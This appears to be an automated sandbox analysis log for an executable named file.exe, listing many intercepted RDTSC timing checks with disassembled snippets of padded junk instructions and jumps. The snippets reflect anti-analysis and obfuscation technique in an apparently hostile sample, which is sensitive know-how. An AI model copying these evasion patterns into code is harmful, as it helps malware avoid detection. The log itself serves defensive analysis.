Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E13B second address: A1E14A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB49551661Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2438B second address: A2438F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2438F second address: A243AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB495516616h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jl 00007FB495516616h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 pushad 0x00000017 jne 00007FB495516616h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A243AE second address: A243BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB495512306h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A243BF second address: A243C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB495516616h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A243C9 second address: A243CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24677 second address: A2467B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A99 second address: A24AA8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB495512306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24AA8 second address: A24AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24AAE second address: A24AC2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB495512306h 0x00000008 jg 00007FB495512306h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A240B0 second address: A240F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jl 00007FB495516616h 0x00000010 jmp 00007FB49551661Dh 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jne 00007FB495516626h 0x0000001f jmp 00007FB49551661Eh 0x00000024 push edx 0x00000025 pop edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jnc 00007FB495516616h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A240F4 second address: A24100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007FB495512306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24D8C second address: A24DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495516626h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24EF6 second address: A24F02 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB495512306h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24F02 second address: A24F0C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB49551661Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2504C second address: A25052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25052 second address: A25056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25056 second address: A25079 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB495512306h 0x00000008 jmp 00007FB495512313h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25079 second address: A2507D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2507D second address: A25098 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB495512306h 0x00000008 jmp 00007FB49551230Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25405 second address: A2540B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2540B second address: A25411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25411 second address: A25457 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB495516631h 0x00000008 jng 00007FB495516616h 0x0000000e jmp 00007FB495516625h 0x00000013 push ecx 0x00000014 jmp 00007FB49551661Bh 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FB495516622h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A289C9 second address: A289CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28550 second address: A28556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28556 second address: A28565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FB495512306h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B8DA second address: A2B8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2FAB0 second address: A2FAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jl 00007FB495512314h 0x0000000f jmp 00007FB49551230Ch 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2FAD1 second address: A2FAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F33E second address: A2F37D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512313h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c jbe 00007FB495512306h 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007FB49551230Eh 0x00000019 popad 0x0000001a jc 00007FB495512312h 0x00000020 je 00007FB495512306h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F7F6 second address: A2F80E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB495516622h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3648B second address: A364AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007FB495512311h 0x0000000b jg 00007FB495512306h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A364AD second address: A364B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994D2B second address: 994D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34CDD second address: A34CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34FEB second address: A34FEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34FEF second address: A3500F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB495516628h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3500F second address: A35015 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A352BC second address: A352C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4760 second address: 9E47B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FB495512308h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov di, 4798h 0x00000027 push 00000004h 0x00000029 nop 0x0000002a pushad 0x0000002b jns 00007FB49551230Ch 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 popad 0x00000038 push eax 0x00000039 push ebx 0x0000003a pushad 0x0000003b jmp 00007FB49551230Ch 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A355DA second address: A3560B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB495516616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB495516620h 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 popad 0x00000014 push ebx 0x00000015 push edx 0x00000016 jne 00007FB495516616h 0x0000001c ja 00007FB495516616h 0x00000022 pop edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BB36 second address: A3BB3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BB3E second address: A3BB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007FB49551661Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AD5A second address: A3AD72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB495512312h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AEE1 second address: A3AEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AEE5 second address: A3AEFA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB495512306h 0x00000008 jnc 00007FB495512306h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AEFA second address: A3AF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB495516616h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AF05 second address: A3AF0A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AF0A second address: A3AF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jbe 00007FB495516616h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FB49551661Eh 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007FB495516622h 0x00000020 jo 00007FB495516616h 0x00000026 jnl 00007FB495516616h 0x0000002c popad 0x0000002d push ebx 0x0000002e jmp 00007FB49551661Eh 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AF5E second address: A3AF63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AF63 second address: A3AF8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516626h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB49551661Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AF8B second address: A3AF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B579 second address: A3B598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516628h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B598 second address: A3B5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FB495512308h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B6FE second address: A3B708 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB495516622h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B708 second address: A3B70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A411E4 second address: A411EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A411EA second address: A411F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41718 second address: A4172A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB49551661Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4172A second address: A41755 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB495512306h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FB49551231Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41755 second address: A4175C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4175C second address: A41767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41767 second address: A4176B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41CAD second address: A41CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB495512306h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41CB8 second address: A41CD3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB495516618h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB49551661Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4225E second address: A42262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42819 second address: A4281F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42B16 second address: A42B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42B1A second address: A42B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42DFD second address: A42E1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FB495512317h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42E1E second address: A42E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FB495516616h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E0A second address: A46E21 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB49551230Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E21 second address: A46E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E25 second address: A46E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A478BF second address: A478C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5384C second address: A53850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53850 second address: A53859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53859 second address: A5385F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5385F second address: A53865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A539AA second address: A539C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FB495512315h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53D08 second address: A53D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB495516626h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53D29 second address: A53D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53E6C second address: A53E70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53E70 second address: A53E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FB495512312h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FB49551230Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53E8A second address: A53EB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jmp 00007FB49551661Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB49551661Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54337 second address: A5433B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A544AF second address: A544B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A544B5 second address: A544BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A544BB second address: A544BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54608 second address: A5460D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A547E6 second address: A547F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB49551661Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54F05 second address: A54F0E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54F0E second address: A54F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54F13 second address: A54F33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007FB495512306h 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB495512313h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58C99 second address: A58CA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58CA4 second address: A58CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495512315h 0x00000009 jo 00007FB495512306h 0x0000000f popad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99839B second address: 9983B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516622h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9983B6 second address: 9983CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB49551230Dh 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FE58 second address: A5FE76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516623h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
